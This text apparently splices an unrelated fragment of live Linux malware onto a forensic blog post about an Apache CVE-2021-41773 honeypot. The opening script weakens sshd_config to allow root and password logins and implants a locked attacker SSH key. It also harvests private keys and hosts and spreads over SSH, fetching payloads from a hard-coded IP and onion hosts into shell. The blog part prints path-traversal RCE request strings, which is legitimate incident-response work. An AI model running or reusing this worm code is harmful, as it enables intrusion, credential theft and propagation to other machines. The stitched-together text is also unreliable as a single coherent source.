            if [ -n "${ct}" ]; then ${sudo} ${LPATH}.${rm} ${ct}; ${sudo} cp ${LPATH}.ct ${ct}; fi
            ${sudo} "${crstart}"
        fi
    fi

    ${sudo} chattr -i -a ${LPATH} >/dev/null 2>&1;

        [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PermitRootLogin')" != "PermitRootLogin yes" ] && { ${sudo} echo PermitRootLogin yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^RSAAuthentication')" != "RSAAuthentication yes" ] && { ${sudo} echo RSAAuthentication yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PubkeyAuthentication')" != "PubkeyAuthentication yes" ] && { ${sudo} echo PubkeyAuthentication yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^UsePAM')" != "UsePAM yes" ] && { ${sudo} echo UsePAM yes >> /etc/ssh/sshd_config; }
    [ "$(${sudo} cat /etc/ssh/sshd_config | grep '^PasswordAuthentication yes')" != "PasswordAuthentication yes" ] && { ${sudo} echo PasswordAuthentication yes >> /etc/ssh/sshd_config; }
    touch "${LPATH}.sysud"
else
    if [ $(which crontab|wc -l) -ne 0 ]; then
                cik >/dev/null 2>&1
        crontab -r >/dev/null 2>&1
        (crontab -l >/dev/null 2>&1; echo "${C1}") | crontab -
    fi
fi

localk() {
        KEYS=$(find ~/ /root /home -maxdepth 2 -name 'id_rsa*' | grep -vw pub)
        KEYS2=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep IdentityFile | awk -F "IdentityFile" '{print $2 }')
        KEYS3=$(find ~/ /root /home -maxdepth 3 -name '*.pem' | uniq)
        HOSTS=$(cat ~/.ssh/config /home/*/.ssh/config /root/.ssh/config | grep HostName | awk -F "HostName" '{print $2}')
        HOSTS2=$(cat ~/.bash_history /home/*/.bash_history /root/.bash_history | grep -E "(ssh|scp)" | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}")
        HOSTS3=$(cat ~/*/.ssh/known_hosts /home/*/.ssh/known_hosts /root/.ssh/known_hosts | grep -oP "([0-9]{1,3}\.){3}[0-9]{1,3}" | uniq)
        USERZ=$(
                echo "root"
                find ~/ /root /home -maxdepth 2 -name '\.ssh' | uniq | xargs find | awk '/id_rsa/' | awk -F'/' '{print $3}' | uniq | grep -v "\.ssh"
        )
        userlist=$(echo $USERZ | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
        hostlist=$(echo "$HOSTS $HOSTS2 $HOSTS3" | grep -vw 127.0.0.1 | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
        keylist=$(echo "$KEYS $KEYS2 $KEYS3" | tr ' ' '\n' | nl | sort -u -k2 | sort -n | cut -f2-)
        for user in $userlist; do
                for host in $hostlist; do
                        for key in $keylist; do
                                chmod +r $key; chmod 400 $key
                                ssh -oStrictHostKeyChecking=no -oBatchMode=yes -oConnectTimeout=5 -i $key $user@$host "(curl http://34.221.40.237/.x/3sh||wget -q -O- http://34.221.40.237/.x/1sh)|sh" >/dev/null 2>&1 &
                        done
                done
        done
}


sockz >/dev/null 2>&1

${sudo} mkdir -p "${sshdir}" >/dev/null 2>&1
if [ ! -f ${sshdir}/authorized_keys ]; then ${sudo} touch ${sshdir}/authorized_keys >/dev/null 2>&1; fi
${sudo} chattr -i -a "${sshdir}" >/dev/null 2>&1; ${sudo} chattr -i -a -R "${sshdir}/" >/dev/null 2>&1; ${sudo} chattr -i -a ${sshdir}/authorized_keys >/dev/null 2>&1
if [ -n "$(grep -F redis ${sshdir}/authorized_keys)" ] || [ $(wc -l < ${sshdir}/authorized_keys) -gt 98 ]; then ${sudo} echo "${skey}" > ${sshdir}/authorized_keys; fi
if [ "$(${sudo} grep "^${skey}" ${sshdir}/authorized_keys)" != "${skey}" ]; then
        ${sudo} echo "${skey}" >> ${sshdir}/authorized_keys;
        if [ -n "${net}" ]; then
                (${curl} ${COPTS} -x socks5h://$s:9050 "${RHOST}.onion/rsl.php?ip=${net}&login=$(whoami)" || ${curl} ${COPTS} "https://${RHOST}${TOR1}rsl.php?ip=${net}&login=$(whoami)" || ${curl} ${COPTS} "https://${RHOST}${TOR2}rsl.php?ip=${net}&login=$(whoami)" || ${curl} ${COPTS} "https://${RHOST}${TOR3}rsl.php?ip=${net}&login=$(whoami)" || ${wget} ${WOPTS} -O - "https://${RHOST}${TOR1}rsl.php?ip=${net}&login=$(whoami)" || ${wget} ${WOPTS} -O - "https://${RHOST}${TOR2}rsl.php?ip=${net}&login=$(whoami)" || ${wget} ${WOPTS} -O - "https://${RHOST}${TOR3}rsl.php?ip=${net}&login=$(whoami)") >/dev/null 2>&1 &
        fi
fi

${sudo} chmod 0700 ${sshdir} >/dev/null 2>&1; ${sudo} chmod 600 ${sshdir}/authorized_keys >/dev/null 2>&1; ${sudo} chattr +i ${sshdir}/authorized_keys >/dev/null 2>&1

${rm} -rf ./main* >/dev/null 2>&1
${rm} -rf ./*.ico* >/dev/null 2>&1
${rm} -rf ./r64* >/dev/null 2>&1
${rm} -rf ./r32* >/dev/null 2>&1
[ $(echo "$0"|grep -i ".cache\|bin"|wc -l) -eq 0 ] && [ "$1" != "" ] && { ${rm} -f "$0" >/dev/null 2>&1; }
echo -e '\n'
if [ -f "${LPATH}.mud" ]; then mudTime=$(find "${LPATH}.mud" -mmin +9); if [ ${mudTime-".mud"} != "" ]; then ${rm} -f "${LPATH}.mud" >/dev/null 2>&1; fi; fi

r=${net}_$(whoami)_$(uname -m)_$(uname -n)_$(ip a|grep 'inet '|awk {'print $2'}|md5sum|awk {'print $1'})

if [ $(command -v timeout|wc -l) -ne 0 ]; then
        timeout 300 $(command -v bash) -c "(${curl} ${COPTS} -x socks5h://$s:9050 ${RHOST}.onion/src/main -e$r || ${curl} ${COPTS} https://${RHOST}${TOR1}src/main -e$r || ${curl} ${COPTS} https://${RHOST}${TOR2}src/main -e$r || ${curl} ${COPTS} https://${RHOST}${TOR3}src/main -e$r || ${wget} ${WOPTS} -O - https://${RHOST}${TOR1}src/main --referer $r || ${wget} ${WOPTS} -O - https://${RHOST}${TOR2}src/main --referer $r || ${wget} ${WOPTS} -O - https://${RHOST}${TOR3}src/main --referer $r)|${sudo} $(command -v bash)" >/dev/null 2>&1 &
else
        (${curl} ${COPTS} -x socks5h://$s:9050 ${RHOST}.onion/src/main -e$r || ${curl} ${COPTS} https://${RHOST}${TOR1}src/main -e$r || ${curl} ${COPTS} https://${RHOST}${TOR2}src/main -e$r || ${curl} ${COPTS} https://${RHOST}${TOR3}src/main -e$r || ${wget} ${WOPTS} -O - https://${RHOST}${TOR1}src/main --referer $r || ${wget} ${WOPTS} -O - https://${RHOST}${TOR2}src/main --referer $r || ${wget} ${WOPTS} -O - https://${RHOST}${TOR3}src/main --referer $r)|${sudo} $(command -v bash) >/dev/null 2>&1 &
fi

localk >/dev/null 2>&1

Hudak’s Honeypot (Part 1)

Recently Tyler Hudak (@SecShoggoth) tweeted:

Oh Tyler, you had me at #Ubuntu! Tyler provided a link to the files and I grabbed them. Here’s the included readme.txt, just to set the scene:

This Ubuntu Linux honeypot was put online in Azure in early October with the sole purpose of watching what happens with those exploiting CVE-2021-41773.

Initially there was a large amount of cryptominers that hit the system. You will see one cron script that is meant to remove files named kinsing in /tmp. This was my way of preventing these miners so more interesting things could occur.

Then, as with many things, I got busy and forgot about it. Fast forward to now (early December) and I remembered it was still up. I logged on and saw CPU usage through the roof. Instead of just shutting it down, I grabbed a disk snapshot, memory snapshot, and ran a tool named UAC (https://github.com/tclahr/uac) to grab live response. The results of this are in this directory.

There are three files:

- sdb.vhd.gz - VHD of the main drive obtained through an Azure disk snapshot
- ubuntu.20211208.mem.gz - Dump of memory using Lime
- uac.tgz - Results of UAC running on the system

Items were obtained in the order above - drive was snapshotted, memory was grabbed, then UAC was run.

Please feel free to share this. All I ask is that if you do any analysis to share it with the community.

If anyone would like to offer a more permanent home for the files, please let me know.

Thanks!

Tyler Hudak

Before going any farther, I wanted to find the cron job that Tyler mentions just so I wouldn’t be confused by his cleanup tool versus actual intruder activity. There is an entry in /var/spool/cron/crontabs/root that invokes /root/.remove.sh every minute. /root/.remove.sh is simple enough:

#!/bin/bash

for PID in `ps -ef | egrep "kinsing|kdevtmp" | grep "/tmp"  | awk '{ print $2 }'`
do
        kill -9 $PID
done

chown root.root /tmp/k*
chmod 444 /tmp/k*

We find a large number of /tmp/kinsing_* files and a couple of /tmp/kdevtmp* files. I did a quick verification that these were Kinsing and XMRig coin miners respectively, and then forgot all about them. There’s much more interesting stuff to look at in this image!

Other Strange Files in [/var]/tmp

While looking at Tyler’s cron job and its impact on the system, I couldn’t help noticing a couple of other interesting artifacts in the /tmp and /var/tmp directories.

  • /var/tmp/dk86 was created 2021-11-11 19:09:51 UTC. The file is owned by user “daemon”–unsurprisingly, this is the user the web server on the machine runs as. I’ll dive into this file in more detail in a future blog post.
  • /tmp/Mozi.a and /tmp/Mozi.tm were both created on 2021-10-13. Mozi.a has a creation time of 13:45:20 and is owned by the root user. Mozi.tm appears at 13:45:48 and is owned by “azureuser” (UID 1000). Looking at /home/azureuser/.bash_history, I think these files were intentionally created by Tyler during some of his early research into ongoing attacks on the machine (correct me if I’m wrong, Tyler!). So I chose to ignore them.

Looking into UAC

I’ve never used the UAC tool before, so I decided to start my investigation with that data and see how much useful information I could extract. The short answer is I found it very useful, particularly the process information collected by the tool in the …/liveresponse/process output directory.

lsof is one of my favorite Linux forensic tools, so I started with the “lsof_-nPl.txt” file. In particular, I started by looking at the current working directories of processes, for ones that looked abnormal. Here’s a subset of the output:

# grep cwd lsof_-nPl.txt | grep -v '2 /'
cron       1029              0  cwd       DIR               8,17     4096      68440 /var/spool/cron
bash       4205           1000  cwd       DIR               8,17     4096     527081 /home/azureuser/src/LiME/src
sleep      6388              1  cwd       DIR               8,17        0     528743 /var/tmp/.log/101068/.spoollog (deleted)
uac        6445              0  cwd       DIR               8,17     4096     528610 /root/uac
uac        7755              0  cwd       DIR               8,17     4096     528610 /root/uac
lsof       7978              0  cwd       DIR               8,17     4096     528610 /root/uac
lsof       7984              0  cwd       DIR               8,17     4096     528610 /root/uac
sudo       9303              0  cwd       DIR               8,17     4096     527081 /home/azureuser/src/LiME/src
su         9314              0  cwd       DIR               8,17     4096     527081 /home/azureuser/src/LiME/src
bash       9331              0  cwd       DIR               8,17     4096     528610 /root/uac
sh        15853              1  cwd       DIR               8,17    12288       4059 /tmp
sh        20645              1  cwd       DIR               8,17        0     528743 /var/tmp/.log/101068/.spoollog (deleted)
sh        21785              1  cwd       DIR               8,17    12288       4059 /tmp
python3   27968              0  cwd       DIR               8,17     4096    1552795 /var/lib/waagent/WALinuxAgent-2.5.0.2
python3   27968 28623        0  cwd       DIR               8,17     4096    1552795 /var/lib/waagent/WALinuxAgent-2.5.0.2
python3   27968 28625        0  cwd       DIR               8,17     4096    1552795 /var/lib/waagent/WALinuxAgent-2.5.0.2
python3   27968 28627        0  cwd       DIR               8,17     4096    1552795 /var/lib/waagent/WALinuxAgent-2.5.0.2
python3   27968 28630        0  cwd       DIR               8,17     4096    1552795 /var/lib/waagent/WALinuxAgent-2.5.0.2

PIDs 20645 and 6388 are running from the deleted /var/tmp/.log/101068/.spoollog directory, so they are immediately of interest. I also noted shell processes– PIDs 15853 and 21785– running from /tmp. That also looks a bit strange to me. Note that all of the suspicious processes are running as UID 1, the “daemon” user (see /etc/passwd from the system disk image to confirm).

What else is running as “daemon”? Let’s take a look at the “ps_-ef.txt” file created by UAC:

# awk '$1 == "daemon"' ps_-ef.txt
daemon    1003     1  0 Oct09 ?        00:00:00 /usr/sbin/atd -f
daemon    1693   801  0 Nov18 ?        00:00:48 /usr/sbin/httpd -k start
daemon    1813   801  0 Nov18 ?        00:00:40 /usr/sbin/httpd -k start
daemon    2539   801  0 Nov18 ?        00:00:39 /usr/sbin/httpd -k start
daemon    2632   801  0 Nov18 ?        00:01:23 /usr/sbin/httpd -k start
daemon    6388 20645  0 18:50 ?        00:00:00 sleep 300
daemon    6803 21785  0 18:51 ?        00:00:00 sleep 30
daemon    6830 15853  0 18:51 ?        00:00:00 sleep 30
daemon   15851     1  0 Nov30 ?        00:00:00 /bin/bash
daemon   15853 15851  0 Nov30 ?        00:25:04 sh
daemon   20645     1  0 Nov14 ?        03:01:59 sh .src.sh
daemon   21783     1  0 Nov30 ?        00:00:00 /bin/bash
daemon   21785 21783  0 Nov30 ?        00:25:02 sh
daemon   24330     1 49 Dec05 ?        1-16:41:54 agettyd -c noresetd

We see the web server on the system running as “daemon”. Unless the attackers bring along a privilege escalation tool, it’s likely their exploits are going to end up running as this user. /usr/sbin/atd running as “daemon” is typical for this Linux, so I’ll ignore that process. But there’s an interesting story being told by the other processes in the above listing.

On November 14, PID 20645 starts PID 6388 (observe the PPID on PID 6388). These were the processes we saw above that were running from the deleted /var/tmp/.log/101068/.spoollog directory. Also note that PID 20645 was apparently started as “sh .src.sh” which is definitely a suspicious command line.

UAC also captures some data from /proc for each process. The …/proc/20645/environ.txt file has some interesting details. I’ve extracted and reordered the most interesting data below:

REMOTE_ADDR=116.202.187.77
REMOTE_PORT=56590
HTTP_USER_AGENT=curl/7.79.1

HOME=/var/tmp/.log/101068/.spoollog/.api
PWD=/var/tmp/.log/101068/.spoollog
OLDPWD=/var/tmp
PYTHONUSERBASE=/var/tmp/.log/101068/.spoollog/.api/.mnc

REQUEST_METHOD=POST
REQUEST_URI=/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
SCRIPT_NAME=/cgi-bin/../../../../bin/sh
SCRIPT_FILENAME=/bin/sh
CONTEXT_PREFIX=/cgi-bin/
CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/

The request URI is typical of the CVE-2021-41773 RCE. We see the IP address and port used by the requestor– probably a VPN tunnel endpoint or Tor node and not the attacker’s actual IP address. We also have a user agent string which indicates that this was likely a scripted attack– curl is a command-line web client. The directories referenced in environment variables tie back to the deleted /var/tmp/.log/101068/.spoollog directory that was the CWD of these processes. So these are definitely worth digging deeper into in a future blog post.

There are two different, but very similar process hierarchies starting on Nov 30. Bash process 15851 starts sh process 15853 which runs sleep process 6830. Similarly, bash process 21783 starts shell process 21785 which runs sleep process 6803. The environ.txt files for these processes are nearly identical. PID 15851 was triggered from IP 5.2.72.226:47374, while PID 21783 was started by a request from 104.244.76.13:36748. All the other data is the same, so likely the same exploit was used–possibly by the same attacker:

HTTP_USER_AGENT=curl/7.79.1
REQUEST_METHOD=POST
REQUEST_URI=/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash
SCRIPT_NAME=/cgi-bin/../../../../../../../bin/bash

That leaves our mysterious agetty process from Dec 5. Using the “running_processes_full_paths.txt” data dumped by UAC, you can see this process is running from the deleted /tmp/agettyd binary, which is very abnormal. But when we look at the “environ.txt” data, it’s easy to see that this process is related to the PID 15851 process hierarchy from Nov 30.

REMOTE_ADDR=5.2.72.226
REMOTE_PORT=47374
HTTP_USER_AGENT=curl/7.79.1

REQUEST_METHOD=POST
REQUEST_URI=/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash
SCRIPT_NAME=/cgi-bin/../../../../../../../bin/bash

IP address, port, user agent, and all of the details of the request match perfectly with the information related to PID 15851. Clearly we will need to drill into this in more detail in a future blog post.

Coming Soon

Based on the triage I’ve done so far, my investigation has three main threads:

  1. Where is /var/tmp/dk86 come from and what is it? (analysis in Part Two)
  2. What is the origin of the processes running from the deleted /var/tmp/.log/101068/.spoollog and how did the directory end up getting deleted? (analysis in Part Three)
  3. Can we tell if the requests from 5.2.72.226 and 104.244.76.13 independent actors or the same attacker using multiple IPs? How did the /tmp/agettyd process get created? (analysis in Part 4)

We’ll investigate these questions more deeply in upcoming blog posts.